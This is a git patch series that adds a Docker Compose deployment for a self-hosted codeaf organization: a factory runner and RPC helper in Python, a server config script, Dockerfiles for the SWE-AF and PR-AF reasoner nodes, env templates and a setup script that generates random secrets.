user.name "${GIT_AUTHOR_NAME:-codeaf org}" +git config --global user.email "${GIT_AUTHOR_EMAIL:-codeaf-org@users.noreply.github.com}" +if [ -n "${GH_TOKEN:-}" ] && command -v gh >/dev/null 2>&1; then + gh auth setup-git --hostname github.com --force >/dev/null 2>&1 || true +fi + +exec "$@" diff --git a/deploy/org/scripts/rpc.py b/deploy/org/scripts/rpc.py new file mode 100755 index 0000000000..6e95c9cf7b --- /dev/null +++ b/deploy/org/scripts/rpc.py @@ -0,0 +1,19 @@ +#!/usr/bin/env python3 +"""usage: rpc.py [''] one call on the runner's engine wire; prints the reply.""" +import json +import os +import socket +import sys + +path = os.environ.get('RUNNER_SOCKET', '/data/engine.sock') +if len(sys.argv) < 2: + raise SystemExit(__doc__) +with socket.socket(socket.AF_UNIX) as conn: + conn.settimeout(300) + conn.connect(path) + params = json.loads(sys.argv[2]) if len(sys.argv) > 2 else {} + conn.sendall((json.dumps({'id': 1, 'method': sys.argv[1], 'params': params}) + '\n').encode()) + with conn.makefile() as stream: + reply = json.loads(stream.readline()) +print(json.dumps(reply, indent=1)) +sys.exit(1 if reply.get('error') else 0) diff --git a/deploy/org/scripts/runner.py b/deploy/org/scripts/runner.py new file mode 100755 index 0000000000..3a0f07b820 --- /dev/null +++ b/deploy/org/scripts/runner.py @@ -0,0 +1,219 @@ +#!/usr/bin/env python3 +"""The organization's factory runner. + +`codeaf factory serve` (the organization server) keeps people, workstreams and chats, but it does +not run the factory's AgentField node: that is the engine's job (`codeaf app`), and the engine +takes its instructions over a stdio wire. This script is that engine's host for a container: + + 1. waits for the AgentField control plane, + 2. starts `codeaf app`, + 3. starts the factory on this machine, hands it the control plane's address and key + (`factory.agentfield_connect`; the factory registers as the node `codeaf-factory` over + the node link and sends the run-owner proof AgentField's strict mode asks for), + 4. starts the factory's runner (`factory.local_run`), + 5. serves the engine's wire on a private unix socket (/data/engine.sock) so an operator can + drive it with `docker compose exec runner python3 /opt/org/rpc.py ''`. + +No secret is printed, and none is written anywhere but the engine's own home in the data volume. +""" +import json +import os +import queue +import signal +import socketserver +import subprocess +import sys +import threading +import time +import urllib.error +import urllib.request +from pathlib import Path + +DATA = Path(os.environ.get('RUNNER_DATA', '/data')) +HOME = Path(os.environ.get('CODEAF_HOME', str(DATA / 'codeaf'))) +CALLER = os.environ.get('RUNNER_CALLER', 'org-runner') +SOCKET = DATA / 'engine.sock' +READY = DATA / 'ready.json' + + +def env_or_file(name): + """A value from NAME, or from the file NAME_FILE names (a mounted secret).""" + value = os.environ.get(name, '').strip() + path = os.environ.get(name + '_FILE', '').strip() + if not value and path and os.path.isfile(path): + value = Path(path).read_text().strip() + return value + + +def log(message): + print(time.strftime('%H:%M:%S'), message, flush=True) + + +def wait_for_control_plane(url, key, seconds=300): + deadline = time.time() + seconds + last = None + while time.time() < deadline: + try: + request = urllib.request.Request(url.rstrip('/') + '/api/v1/health') + if key: + request.add_header('Authorization', 'Bearer ' + key) + with urllib.request.urlopen(request, timeout=5): + return + except Exception as error: # noqa: BLE001 - any failure means "not yet" + last = error + time.sleep(2) + raise SystemExit(f'AgentField at {url} did not answer within {seconds} seconds ({last})') + + +def write_engine_config(model): + """Point the engine at the organization's model. Keys never go in this file.""" + HOME.mkdir(parents=True, exist_ok=True) + path = HOME / 'config.json' + config = {} + if path.exists(): + try: + config = json.loads(path.read_text()) + except ValueError: + config = {} + if model: + for key in ('model.talk', 'task.model', 'vision_model', 'models.tiers.low', 'models.tiers.reflex', + 'models.tiers.worker', 'models.tiers.high', 'models.tiers.mastermind'): + config[key] = model + if os.environ.get('CODEAF_BASE_URL'): + # A custom endpoint (the keyless stub, a gateway): no fallbacks, no model pool, nothing to ask. + config.update({'models.fallbacks': '', 'memory.enabled': 'off', 'tools.approvalMode': 'allow', 'routing': 'off'}) + path.write_text(json.dumps(config)) + path.chmod(0o600) + + +def main(): + url = os.environ.get('AGENTFIELD_URL', '').strip() + key = env_or_file('AGENTFIELD_API_KEY') + if not url: + raise SystemExit('AGENTFIELD_URL is required (for example http://agentfield:8080)') + DATA.mkdir(parents=True, exist_ok=True) + READY.unlink(missing_ok=True) + wait_for_control_plane(url, key) + write_engine_config(os.environ.get('ORG_MODEL', '').strip()) + + env = dict(os.environ) + for name in ('OPENROUTER_API_KEY', 'GH_TOKEN'): + value = env_or_file(name) + if value: + env[name] = value + if os.environ.get('CODEAF_BASE_URL'): + env['CODEAF_MODEL_POOL'] = 'off' + proc = subprocess.Popen(['codeaf', 'app', '--home', str(HOME)], stdin=subprocess.PIPE, stdout=subprocess.PIPE, + text=True, bufsize=1, env=env) + + pending, lock, wlock = {}, threading.Lock(), threading.Lock() + counter = [0] + subscribers, slock = set(), threading.Lock() + hello = [None] + + def reader(): + for line in proc.stdout: + try: + message = json.loads(line) + except ValueError: + continue + if 'event' in message: + if message['event'] == 'hello': + hello[0] = message + with slock: + targets = list(subscribers) + for target in targets: + try: + target.send(message) + except OSError: + pass + continue + with lock: + waiting = pending.get(message.get('id')) + if waiting is not None: + waiting.put(message) + threading.Thread(target=reader, daemon=True).start() + + def call(method, params=None, timeout=300): + with lock: + counter[0] += 1 + number = counter[0] + answer = queue.Queue(maxsize=1) + pending[number] = answer + try: + with wlock: + proc.stdin.write(json.dumps({'id': number, 'method': method, 'params': params or {}}) + '\n') + proc.stdin.flush() + message = answer.get(timeout=timeout) + finally: + with lock: + pending.pop(number, None) + if message.get('error'): + # Never echo params: a connect request carries the control plane's key. + raise RuntimeError(method + ': ' + str(message['error'].get('message', 'the engine refused the request'))) + return message.get('result') + + def shutdown(*_): + READY.unlink(missing_ok=True) + SOCKET.unlink(missing_ok=True) + proc.terminate() + try: + proc.wait(timeout=25) + except subprocess.TimeoutExpired: + proc.kill() + raise SystemExit(0) + signal.signal(signal.SIGTERM, shutdown) + signal.signal(signal.SIGINT, shutdown) + + class Wire(socketserver.StreamRequestHandler): + def setup(self): + super().setup() + self.out = threading.Lock() + + def send(self, message): + with self.out: + self.wfile.write((json.dumps(message) + '\n').encode()) + self.wfile.flush() + + def handle(self): + for line in self.rfile: + request = {} + try: + request = json.loads(line) + reply = {'result': call(request['method'], request.get('params', {}))} + except Exception as error: # noqa: BLE001 + reply = {'error': {'code': 'runner', 'message': str(error)}} + if 'id' in request: + reply['id'] = request['id'] + self.send(reply) + + try: + for provider, name in (('openrouter', 'OPENROUTER_API_KEY'), ('github', 'GH_TOKEN')): + if env.get(name): + call('keys.set', {'provider': provider, 'key': env[name]}) + local = call('factory.local_start', {'caller': CALLER}) + factory = local['factory'] + factory_id = factory['id'] if isinstance(factory, dict) else factory + model = os.environ.get('ORG_MODEL', '').strip() + if model: + call('factory.spending_set', {'factory': factory_id, 'default_model': model}) + call('factory.agentfield_connect', {'factory': factory_id, 'url': url, 'api_key': key}) + call('factory.local_run', {'caller': CALLER}) + SOCKET.unlink(missing_ok=True) + server = socketserver.ThreadingUnixStreamServer(str(SOCKET), Wire) + server.daemon_threads = True + SOCKET.chmod(0o600) + threading.Thread(target=server.serve_forever, daemon=True).start() + READY.write_text(json.dumps({'factory': factory_id})) + log(f'runner ready: factory {factory_id} is connected to AgentField at {url}') + status = proc.wait() + raise SystemExit(status or 1) + except SystemExit: + raise + except Exception as error: # noqa: BLE001 + log(f'runner failed to start: {error}') + shutdown() + + +if __name__ == '__main__': + main() diff --git a/deploy/org/scripts/serve.sh b/deploy/org/scripts/serve.sh new file mode 100755 index 0000000000..0826f776c4 --- /dev/null +++ b/deploy/org/scripts/serve.sh @@ -0,0 +1,43 @@ +#!/bin/sh +# Writes the organization server's config from the environment, then runs it. +# Nothing secret is baked into the image: the access token is generated on the +# first start (or taken from CODEAF_FACTORY_TOKEN) and lives in the data volume. +set -eu + +: "${CODEAF_HOME:=/data/codeaf}" +dir="$CODEAF_HOME/factory" +config="$dir/config.yaml" +umask 077 +mkdir -p "$dir" + +port="${PORT:-8787}" +listen="${CODEAF_ORG_LISTEN:-0.0.0.0:$port}" +name="${CODEAF_ORG_NAME:-codeaf organization}" +domain="${CODEAF_PUBLIC_DOMAIN:-}" + +# Keep the token the server minted on an earlier start, so a restart signs nobody out. +token="${CODEAF_FACTORY_TOKEN:-}" +if [ -z "$token" ] && [ -f "$config" ]; then + token=$(sed -n 's/^access_token: *"\{0,1\}\([0-9a-f]*\)"\{0,1\}$/\1/p' "$config" | head -n 1) +fi + +{ + echo "mode: team" + echo "name: \"$name\"" + echo "listen: $listen" + # TLS is the platform's job here (Railway, Caddy, a load balancer); this process speaks plain HTTP. + echo "tls: \"off\"" + echo "access_token: \"$token\"" + [ -n "$domain" ] && echo "domain: $domain" + [ -n "${CODEAF_GITHUB_CLIENT_ID:-}" ] && echo "github_client_id: ${CODEAF_GITHUB_CLIENT_ID}" + if [ -n "${CODEAF_TRUSTED_PROXIES:-}" ]; then + echo "trusted_proxies:" + echo "$CODEAF_TRUSTED_PROXIES" | tr ',' '\n' | while read -r p; do + p=$(echo "$p" | tr -d ' ') + [ -n "$p" ] && echo " - \"$p\"" + done + fi +} > "$config.new" +mv "$config.new" "$config" + +exec codeaf factory serve --config "$config" "$@" diff --git a/deploy/org/swe-af.Dockerfile b/deploy/org/swe-af.Dockerfile new file mode 100644 index 0000000000..22b5def852 --- /dev/null +++ b/deploy/org/swe-af.Dockerfile @@ -0,0 +1,71 @@ +# syntax=docker/dockerfile:1.10 +# +# SWE-AF, the build-an-issue-into-a-pull-request reasoner node (`swe-planner`), +# built from a PINNED commit of its public repository, with codeaf as its +# coding harness. It dials the AgentField control plane over the node link, so +# it needs no address of its own. +# +# Build context is this folder: docker build -f swe-af.Dockerfile -t swe-af-org . +# To move to another SWE-AF commit change SWEAF_REF (a full 40-character sha). + +ARG SWEAF_REF=0de536488f279c982fc03f5f5660011a7501e0cb +ARG CODEAF_RELEASE=dev-20261124-3791ee6467c7 +ARG CODEAF_SHA256_AMD64=8ad946abcaadad4f753d2dd9095b08a099f97bfa9c09fb133857c36d31a32fe1 +ARG CODEAF_SHA256_ARM64=f4e21cc0df14ac3ec3696331a6013020b4a322c5a295a66d101d60c986579c9a + +FROM debian:bookworm-slim AS fetch +ARG CODEAF_RELEASE +ARG CODEAF_SHA256_AMD64 +ARG CODEAF_SHA256_ARM64 +ARG TARGETARCH +RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates curl \ + && rm -rf /var/lib/apt/lists/* +WORKDIR /out +RUN set -eu; \ + arch="${TARGETARCH:-$(dpkg --print-architecture)}"; \ + case "$arch" in amd64) sum="$CODEAF_SHA256_AMD64";; arm64) sum="$CODEAF_SHA256_ARM64";; *) echo "unsupported architecture: $arch" >&2; exit 1;; esac; \ + curl -fsSL "https://github.com/Agent-Field/codeaf/releases/download/${CODEAF_RELEASE}/codeaf-linux-${arch}" -o codeaf; \ + echo "${sum} codeaf" | sha256sum -c -; \ + chmod 0755 codeaf; \ + ./codeaf version + +FROM golang:1.23-bookworm AS build +ARG SWEAF_REF +ENV CGO_ENABLED=0 GOFLAGS=-buildvcs=false +RUN git init -q /src && cd /src \ + && git remote add origin https://github.com/Agent-Field/SWE-AF.git \ + && git fetch --depth 1 origin "${SWEAF_REF}" \ + && git checkout -q FETCH_HEAD \ + && test "$(git rev-parse HEAD)" = "${SWEAF_REF}" +WORKDIR /src/go +RUN --mount=type=cache,target=/go/pkg/mod go mod download +RUN --mount=type=cache,target=/go/pkg/mod --mount=type=cache,target=/root/.cache/go-build \ + go build -trimpath -ldflags="-s -w" -o /out/swe-planner ./cmd/swe-planner + +FROM debian:bookworm-slim AS runtime +# git and gh: clone, branch, and open the pull request. python3 and pytest: repositories +# under build are often Python and the verifier has to be able to run their tests. +# jq: the agents' shell steps. tini: reaps what a harness leaves behind. +RUN apt-get update && apt-get install -y --no-install-recommends \ + ca-certificates curl git gh jq openssh-client python3 python3-pytest tini \ + && rm -rf /var/lib/apt/lists/* \ + && groupadd --gid 10002 sweaf \ + && useradd --uid 10002 --gid 10002 --create-home --home-dir /home/sweaf --shell /bin/bash sweaf \ + && mkdir -p /workspaces && chown sweaf:sweaf /workspaces +COPY --from=build /out/swe-planner /usr/local/bin/swe-planner +COPY --from=fetch /out/codeaf /usr/local/bin/codeaf +COPY scripts/node-entrypoint.sh scripts/drop-root.sh /opt/org/ +RUN chmod 0755 /opt/org/node-entrypoint.sh +# legacy-name: AgentField's SDKs still call the codeaf coding harness "aforge" (the provider +# and its command variable), and CODEAF_BIN below says which binary it runs. Both spellings are theirs. +ENV HOME=/home/sweaf \ + NODE_ID=swe-planner \ + AGENTFIELD_NODE_LINK_ONLY=1 \ + SWE_WORKSPACE_ROOT=/workspaces \ + SWE_DEFAULT_RUNTIME=aforge \ + AGENTFIELD_AFORGE_COMMAND=exec \ + CODEAF_BIN=/usr/local/bin/codeaf \ + CODEAF_TELEMETRY=off DO_NOT_TRACK=1 CODEAF_NO_UPDATE_CHECK=1 +WORKDIR /workspaces +ENTRYPOINT ["/usr/bin/tini", "--", "/opt/org/node-entrypoint.sh"] +CMD ["/usr/local/bin/swe-planner"] From 5356f7600f461b6bf45b9c5e12f04505c0f1a227 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 00:04:27 -0500 Subject: [PATCH 004/176] deploy/org: build the Go reasoners without cache mounts Railway's builder rejects a cache mount that has no id, and an id has to be spelled with the service it belongs to, which no portable Dockerfile can know. The two Go reasoners build in about a minute without the cache, so they build the same way under Compose and on Railway. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/pr-af.Dockerfile | 5 ++--- deploy/org/swe-af.Dockerfile | 5 ++--- 2 files changed, 4 insertions(+), 6 deletions(-) diff --git a/deploy/org/pr-af.Dockerfile b/deploy/org/pr-af.Dockerfile index 830e5c34fd..242d908f77 100644 --- a/deploy/org/pr-af.Dockerfile +++ b/deploy/org/pr-af.Dockerfile @@ -37,9 +37,8 @@ RUN git init -q /src && cd /src \ && git checkout -q FETCH_HEAD \ && test "$(git rev-parse HEAD)" = "${PRAF_REF}" WORKDIR /src/go -RUN --mount=type=cache,target=/go/pkg/mod go mod download -RUN --mount=type=cache,target=/go/pkg/mod --mount=type=cache,target=/root/.cache/go-build \ - go build -trimpath -ldflags="-s -w" -o /out/pr-af ./cmd/pr-af +RUN go mod download +RUN go build -trimpath -ldflags="-s -w" -o /out/pr-af ./cmd/pr-af FROM debian:bookworm-slim AS runtime # git: reviews clone, fetch and check out the pull request. tini: reaps what a harness leaves behind. diff --git a/deploy/org/swe-af.Dockerfile b/deploy/org/swe-af.Dockerfile index 22b5def852..169dd343d5 100644 --- a/deploy/org/swe-af.Dockerfile +++ b/deploy/org/swe-af.Dockerfile @@ -38,9 +38,8 @@ RUN git init -q /src && cd /src \ && git checkout -q FETCH_HEAD \ && test "$(git rev-parse HEAD)" = "${SWEAF_REF}" WORKDIR /src/go -RUN --mount=type=cache,target=/go/pkg/mod go mod download -RUN --mount=type=cache,target=/go/pkg/mod --mount=type=cache,target=/root/.cache/go-build \ - go build -trimpath -ldflags="-s -w" -o /out/swe-planner ./cmd/swe-planner +RUN go mod download +RUN go build -trimpath -ldflags="-s -w" -o /out/swe-planner ./cmd/swe-planner FROM debian:bookworm-slim AS runtime # git and gh: clone, branch, and open the pull request. python3 and pytest: repositories From e7131f8918050df27351d7c3538c077d64635826 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 00:30:32 -0500 Subject: [PATCH 005/176] deploy/org: the Compose file, its environment and a setup script One `docker compose up` runs the organization server, the AgentField control plane, the factory runner, SWE-AF and PR-AF, each with a volume for its state, a health check, and a published port only where a person has to reach it (on 127.0.0.1 unless the operator opens it). The scripted stub model is an optional profile for a keyless smoke test. setup.sh writes .env with fresh random secrets and never overwrites one; .env, the model keys and the organization token never enter an image. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/.dockerignore | 5 ++ deploy/org/.env.example | 42 ++++++++++ deploy/org/.env.stub | 9 +++ deploy/org/compose.yaml | 165 +++++++++++++++++++++++++++++++++++++++ deploy/org/setup.sh | 15 ++++ 5 files changed, 236 insertions(+) create mode 100644 deploy/org/.dockerignore create mode 100644 deploy/org/.env.example create mode 100644 deploy/org/.env.stub create mode 100644 deploy/org/compose.yaml create mode 100755 deploy/org/setup.sh diff --git a/deploy/org/.dockerignore b/deploy/org/.dockerignore new file mode 100644 index 0000000000..fdf5407dbd --- /dev/null +++ b/deploy/org/.dockerignore @@ -0,0 +1,5 @@ +# The build context is this folder; secrets and local state never go into an image. +.env +.env.* +!.env.example +!.env.stub diff --git a/deploy/org/.env.example b/deploy/org/.env.example new file mode 100644 index 0000000000..0a0be37092 --- /dev/null +++ b/deploy/org/.env.example @@ -0,0 +1,42 @@ +# Copy to .env (./setup.sh does that and fills the secrets), or set these in the environment. +# Nothing in this file is baked into an image. + +# --- Secrets: ./setup.sh generates these. Treat .env like a password file. --- +# The AgentField control plane's API key. Every node and the factory present it. +AGENTFIELD_API_KEY= +# The organization server's break-glass access token (optional: the server makes its own +# on first start and keeps it in its volume; set this only to know it ahead of time). +CODEAF_FACTORY_TOKEN= + +# --- Model keys: yours. Leave empty for the keyless smoke test. --- +OPENROUTER_API_KEY= +# A GitHub token the nodes use to clone, push and open pull requests (optional). +GH_TOKEN= + +# --- The organization --- +CODEAF_ORG_NAME=codeaf organization +# The public host name (no scheme) when an HTTPS proxy in front serves it. Empty on a laptop. +CODEAF_PUBLIC_DOMAIN= +# GitHub sign-in for people (optional): the client id of a GitHub OAuth app with device flow on. +CODEAF_GITHUB_CLIENT_ID= +# Comma-separated addresses or CIDR ranges of the proxy in front, whose forwarding headers to believe. +CODEAF_TRUSTED_PROXIES= +# Invitation mail (optional): smtp://user:pass@host:587 and the sender. Without it an invite is a link to copy. +CODEAF_SMTP_URL= +CODEAF_SMTP_FROM= + +# --- Models --- +ORG_MODEL=deepseek/deepseek-v4-flash-0731 +SWE_DEFAULT_MODEL=openrouter/deepseek/deepseek-v4-flash-0731 +PR_AF_MODEL=deepseek/deepseek-v4-flash-0731 + +# --- Network --- +# Where the published ports listen. 127.0.0.1 keeps them on this machine; 0.0.0.0 opens them. +CODEAF_BIND=127.0.0.1 +CODEAF_PORT=8787 +AGENTFIELD_BIND=127.0.0.1 +AGENTFIELD_PORT=8080 + +# --- AgentField --- +# Strict run-owner proofs. Leave true. +AGENTFIELD_RUN_OWNER_REQUIRE_PROOF=true diff --git a/deploy/org/.env.stub b/deploy/org/.env.stub new file mode 100644 index 0000000000..04e2d1fcc3 --- /dev/null +++ b/deploy/org/.env.stub @@ -0,0 +1,9 @@ +# Keyless smoke test: layered over .env by `docker compose --env-file .env --env-file .env.stub --profile stub up`. +# Every model call goes to the scripted stub, so nothing is spent and no key is needed. +# The stub produces minimal schema-valid answers, not real work. +CODEAF_BASE_URL=http://modelstub:8890/api/v1 +OPENROUTER_API_KEY=stub-key +ORG_MODEL=stub/scripted +SWE_DEFAULT_MODEL=openrouter/stub/scripted +PR_AF_MODEL=stub/scripted +SWE_SMOKE_FIXTURE_REPO=/workspaces/smoke-fixture diff --git a/deploy/org/compose.yaml b/deploy/org/compose.yaml new file mode 100644 index 0000000000..d0e27feb23 --- /dev/null +++ b/deploy/org/compose.yaml @@ -0,0 +1,165 @@ +# A self-hosted codeaf organization: the organization server, the AgentField control +# plane, and the reasoner nodes (SWE-AF, PR-AF) that the factory sends work to. People +# join with their own desktop apps by invite link. +# +# ./setup.sh # writes .env with fresh secrets (once) +# docker compose up -d # builds what is not published, starts everything +# docker compose logs codeaf | grep 'operator access link' +# +# deploy/org/README.md has the rest: joining, the keyless smoke test, upgrading, backups. +name: codeaf-org + +x-defaults: &defaults + restart: unless-stopped + init: false + stop_grace_period: 30s + +services: + # --- AgentField: the control plane every node and the factory dial --------------------------- + agentfield: + <<: *defaults + image: ${AGENTFIELD_ORG_IMAGE:-codeaf-org/agentfield:local} + build: { context: ., dockerfile: agentfield.Dockerfile } + command: ["server", "--open=false"] + environment: + AGENTFIELD_HOME: /data + # The control plane's own config file would win over AGENTFIELD_HOME, so none is read and + # the database and key-value store are placed explicitly. + AGENTFIELD_CONFIG_FILE: /dev/null + AGENTFIELD_PORT: "8080" + AGENTFIELD_STORAGE_MODE: local + AGENTFIELD_STORAGE_LOCAL_DATABASE_PATH: /data/agentfield.db + AGENTFIELD_STORAGE_LOCAL_KV_STORE_PATH: /data/agentfield.bolt + AGENTFIELD_API_KEY: ${AGENTFIELD_API_KEY:?run ./setup.sh to create .env} + # Strict run-owner proofs: only the node that owns a run can act on it. The factory + # sends its proof over its node link; this stays on. + AGENTFIELD_RUN_OWNER_REQUIRE_PROOF: ${AGENTFIELD_RUN_OWNER_REQUIRE_PROOF:-true} + AGENTFIELD_TELEMETRY_ENABLED: "false" + volumes: [agentfield-data:/data] + ports: ["${AGENTFIELD_BIND:-127.0.0.1}:${AGENTFIELD_PORT:-8080}:8080"] + + # --- The organization server: `codeaf factory serve`, team mode ------------------------------- + codeaf: + <<: *defaults + image: ${CODEAF_ORG_IMAGE:-codeaf-org/codeaf:local} + build: { context: ., dockerfile: codeaf.Dockerfile } + command: ["server"] + environment: + CODEAF_ORG_NAME: ${CODEAF_ORG_NAME:-codeaf organization} + # The public name people reach this server on, WITHOUT a scheme, when a proxy in front + # serves HTTPS on it. Leave empty on a laptop: links then name the listen address. + CODEAF_PUBLIC_DOMAIN: ${CODEAF_PUBLIC_DOMAIN:-} + CODEAF_GITHUB_CLIENT_ID: ${CODEAF_GITHUB_CLIENT_ID:-} + CODEAF_TRUSTED_PROXIES: ${CODEAF_TRUSTED_PROXIES:-} + CODEAF_FACTORY_TOKEN: ${CODEAF_FACTORY_TOKEN:-} + CODEAF_SMTP_URL: ${CODEAF_SMTP_URL:-} + CODEAF_SMTP_FROM: ${CODEAF_SMTP_FROM:-} + OPENROUTER_API_KEY: ${OPENROUTER_API_KEY:-} + CODEAF_BASE_URL: ${CODEAF_BASE_URL:-} + volumes: [codeaf-data:/data] + ports: ["${CODEAF_BIND:-127.0.0.1}:${CODEAF_PORT:-8787}:8787"] + healthcheck: + # Any HTTP answer means it is up (curl exits 0 on a 401 too); a refused connection is exit 7. + test: ["CMD-SHELL", "curl -s -o /dev/null http://127.0.0.1:8787/"] + interval: 15s + timeout: 5s + start_period: 15s + retries: 5 + + # --- The factory runner: registers the factory on AgentField as the node codeaf-factory ------- + runner: + <<: *defaults + image: ${CODEAF_ORG_IMAGE:-codeaf-org/codeaf:local} + build: { context: ., dockerfile: codeaf.Dockerfile } + command: ["runner"] + depends_on: + agentfield: { condition: service_healthy } + environment: + AGENTFIELD_URL: http://agentfield:8080 + AGENTFIELD_API_KEY: ${AGENTFIELD_API_KEY:?run ./setup.sh to create .env} + OPENROUTER_API_KEY: ${OPENROUTER_API_KEY:-} + GH_TOKEN: ${GH_TOKEN:-} + ORG_MODEL: ${ORG_MODEL:-deepseek/deepseek-v4-flash-0731} + CODEAF_BASE_URL: ${CODEAF_BASE_URL:-} + CODEAF_FACTORY_NODE_ID: ${CODEAF_FACTORY_NODE_ID:-codeaf-factory} + volumes: + - runner-data:/data + healthcheck: + test: ["CMD-SHELL", "test -s /data/ready.json"] + interval: 15s + timeout: 5s + start_period: 60s + retries: 10 + + # --- Reasoner nodes --------------------------------------------------------------------------- + swe-af: + <<: *defaults + image: ${SWE_AF_ORG_IMAGE:-codeaf-org/swe-af:local} + build: { context: ., dockerfile: swe-af.Dockerfile } + depends_on: + agentfield: { condition: service_healthy } + environment: + NODE_ID: swe-planner + AGENTFIELD_SERVER: http://agentfield:8080 + AGENTFIELD_API_KEY: ${AGENTFIELD_API_KEY:?run ./setup.sh to create .env} + OPENROUTER_API_KEY: ${OPENROUTER_API_KEY:-} + GH_TOKEN: ${GH_TOKEN:-} + SWE_DEFAULT_MODEL: ${SWE_DEFAULT_MODEL:-openrouter/deepseek/deepseek-v4-flash-0731} + # Pause a build at its plan for a person (the human-in-the-loop question the factory shows). + SWE_HITL_NATIVE: "1" + SWE_FENCE: "off" + SWE_PRO_ENGINE: "0" + # Keyless smoke test only (.env.stub): a throwaway repository on this container's disk. + SMOKE_FIXTURE_REPO: ${SWE_SMOKE_FIXTURE_REPO:-} + CODEAF_BASE_URL: ${CODEAF_BASE_URL:-} + AGENTFIELD_NODE_HOST: swe-af + volumes: + - swe-af-workspaces:/workspaces + healthcheck: + # No procps in the image: look for the process by name in /proc. + test: ["CMD-SHELL", "grep -qx swe-planner /proc/[0-9]*/comm 2>/dev/null"] + interval: 15s + timeout: 5s + start_period: 30s + retries: 5 + + pr-af: + <<: *defaults + image: ${PR_AF_ORG_IMAGE:-codeaf-org/pr-af:local} + build: { context: ., dockerfile: pr-af.Dockerfile } + depends_on: + agentfield: { condition: service_healthy } + environment: + NODE_ID: pr-af + PORT: "8007" + AGENTFIELD_SERVER: http://agentfield:8080 + AGENTFIELD_API_KEY: ${AGENTFIELD_API_KEY:?run ./setup.sh to create .env} + # The address the control plane calls this node on, from inside this network. + AGENT_CALLBACK_URL: http://pr-af:8007 + OPENROUTER_API_KEY: ${OPENROUTER_API_KEY:-} + GH_TOKEN: ${GH_TOKEN:-} + PR_AF_MODEL: ${PR_AF_MODEL:-deepseek/deepseek-v4-flash-0731} + CODEAF_BASE_URL: ${CODEAF_BASE_URL:-} + volumes: [pr-af-workspaces:/workspaces] + healthcheck: + test: ["CMD-SHELL", "curl -fsS http://127.0.0.1:8007/health >/dev/null"] + interval: 15s + timeout: 5s + start_period: 30s + retries: 5 + + # --- Keyless smoke test only: `docker compose --profile stub up` -------------------------------- + modelstub: + <<: *defaults + profiles: ["stub"] + image: ${MODELSTUB_ORG_IMAGE:-codeaf-org/modelstub:local} + build: { context: ., dockerfile: modelstub.Dockerfile } + environment: + STUB_DELAY: ${STUB_DELAY:-2s} + +volumes: + agentfield-data: + codeaf-data: + runner-data: + swe-af-workspaces: + pr-af-workspaces: diff --git a/deploy/org/setup.sh b/deploy/org/setup.sh new file mode 100755 index 0000000000..6ba1560edd --- /dev/null +++ b/deploy/org/setup.sh @@ -0,0 +1,15 @@ +#!/bin/sh +# Creates .env from .env.example with fresh random secrets. Safe to re-run: it never +# overwrites an existing .env, and never prints a secret. +set -eu +cd "$(dirname "$0")" +if [ -f .env ]; then + echo ".env already exists; leaving it as it is." + exit 0 +fi +random() { od -An -N32 -tx1 /dev/urandom | tr -d ' \n'; } +umask 077 +sed -e "s/^AGENTFIELD_API_KEY=.*/AGENTFIELD_API_KEY=$(random)/" \ + -e "s/^CODEAF_FACTORY_TOKEN=.*/CODEAF_FACTORY_TOKEN=$(random)/" .env.example > .env +echo "Wrote .env with a new AgentField key and organization token." +echo "Add OPENROUTER_API_KEY (and GH_TOKEN) to run real work, or use the keyless smoke test (see README.md)." From b6b0453324e0648297d2e0eeca1acaa33fa22822 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 00:30:32 -0500 Subject: [PATCH 006/176] deploy/org: fixes the first run of the images turned up The control plane's health check used a glibc busybox that the distroless base is too old to run, so it is now the static musl one. The reasoner images now name the user they run as, so a platform volume is handed to the right user and git finds its home (PR-AF was looking in SWE-AF's). The node entrypoint can make a throwaway repository for the keyless smoke test to plan against. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/agentfield.Dockerfile | 4 ++-- deploy/org/pr-af.Dockerfile | 4 +++- deploy/org/scripts/node-entrypoint.sh | 10 ++++++++++ deploy/org/swe-af.Dockerfile | 4 +++- 4 files changed, 18 insertions(+), 4 deletions(-) diff --git a/deploy/org/agentfield.Dockerfile b/deploy/org/agentfield.Dockerfile index 42e3d64ccb..5777d7bf48 100644 --- a/deploy/org/agentfield.Dockerfile +++ b/deploy/org/agentfield.Dockerfile @@ -9,7 +9,7 @@ # another way. # # The base image is distroless, so it has no shell and no curl for a health -# check. This file adds one static busybox binary for that and changes nothing +# check. This file adds one statically linked (musl) busybox binary for that and changes nothing # else; it still runs as the base image's non-root user. # # Build context is this folder: docker build -f agentfield.Dockerfile -t agentfield-org . @@ -17,7 +17,7 @@ ARG AGENTFIELD_IMAGE=agentfield/control-plane:staging-0.1.147-rc.11@sha256:1c85c2f1cf53239b1a68b0fb3df772c6e77dd18292071bd98829259261be7d15 -FROM busybox:1.37.0-glibc AS busybox +FROM busybox:1.37.0-musl AS busybox FROM ${AGENTFIELD_IMAGE} COPY --from=busybox /bin/busybox /usr/local/bin/busybox diff --git a/deploy/org/pr-af.Dockerfile b/deploy/org/pr-af.Dockerfile index 242d908f77..10d5e04b6b 100644 --- a/deploy/org/pr-af.Dockerfile +++ b/deploy/org/pr-af.Dockerfile @@ -54,7 +54,9 @@ COPY scripts/node-entrypoint.sh scripts/drop-root.sh /opt/org/ RUN chmod 0755 /opt/org/node-entrypoint.sh # legacy-name: AgentField's SDKs still call the codeaf coding harness "aforge" (the provider # and its command variable), and CODEAF_BIN below says which binary it runs. Both spellings are theirs. -ENV HOME=/home/praf \ +# ORG_*: who the entrypoint hands the platform volume to, and runs the node as (scripts/drop-root.sh). +ENV ORG_UID=10003 ORG_HOME=/home/praf ORG_DIRS=/workspaces \ + HOME=/home/praf \ NODE_ID=pr-af \ PORT=8007 \ PR_AF_WORKDIR=/workspaces \ diff --git a/deploy/org/scripts/node-entrypoint.sh b/deploy/org/scripts/node-entrypoint.sh index 8d92ea4813..ab1f40ae83 100755 --- a/deploy/org/scripts/node-entrypoint.sh +++ b/deploy/org/scripts/node-entrypoint.sh @@ -19,4 +19,14 @@ if [ -n "${GH_TOKEN:-}" ] && command -v gh >/dev/null 2>&1; then gh auth setup-git --hostname github.com --force >/dev/null 2>&1 || true fi +# The keyless smoke test needs a repository for SWE-AF to plan against, on THIS container's disk +# (the runner that creates the job is 